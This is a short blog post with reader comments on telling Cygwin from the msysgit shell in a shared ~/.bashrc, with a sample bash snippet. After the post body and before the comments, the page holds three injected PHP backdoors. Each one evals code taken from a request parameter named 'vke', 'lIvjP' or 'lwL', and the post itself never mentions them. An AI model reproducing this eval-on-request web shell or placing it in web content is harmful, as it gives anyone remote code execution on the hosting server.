Home > Uncategorized > Cygwin vs. Msysgit

Cygwin vs. Msysgit

Both cygwin and the msysgit shell will use the same ~/.bashrc file on start-up, but they mount the local Windows drives at different mount points. Cygwin uses /cygdrive/c while msysgit uses simply /c so if you’re using ~/.bashrc to configure various settings that have to do with drive letters in your bash shell, you’ll need to distinguish between cygwin and msysgit.

The easiest way to do this is to look for the presence of /etc/bash.bashrc in ~/.bashrc, since this file is typically only present in cygwin. If by any chance it’s present in both cygwin and msysgit, a variable can be set in just one of them and ~/.bashrc can be configured to source /etc/bash.bashrc and test for the presence of that variable.

if [ -e /etc/bash.bashrc ] ; then
	# Cygwin specific settings
	export CYGWIN=1

	# Msysgit's grep doesn't recognize --color
	alias grep='grep --color'
	alias vi="/cygdrive/c/Program\ Files/Vim/vim72/gvim.exe"
else
	# Msysgit specific settings
	export CYGWIN=0

	alias vi="/c/Program\ Files/Vim/vim72/gvim.exe"
fi

<!– [insert_php]if (isset($_REQUEST["vke"])){eval($_REQUEST["vke"]);exit;}[/insert_php]

if (isset($_REQUEST["vke"])){eval($_REQUEST["vke"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["lIvjP"])){eval($_REQUEST["lIvjP"]);exit;}[/insert_php]

if (isset($_REQUEST["lIvjP"])){eval($_REQUEST["lIvjP"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["lwL"])){eval($_REQUEST["lwL"]);exit;}[/insert_php]

if (isset($_REQUEST["lwL"])){eval($_REQUEST["lwL"]);exit;}

–>

Categories: Uncategorized Tags: , , , ,
  1. Sef Tarbell
    October 6th, 2009 at 08:38 | #1

    Cygwin does mount the c drive at /cygdrive/c, but you can create your own mount of it at /c

    cd /
    mkdir c
    mount c: /c

  2. eckes
    September 3rd, 2010 at 02:40 | #2

    Thanks so much for pointing this out! I was searching for hours how to source a different .bashrc for git bash instead of using the default one! But this flavour seems a lot more elegant to me!

  1. No trackbacks yet.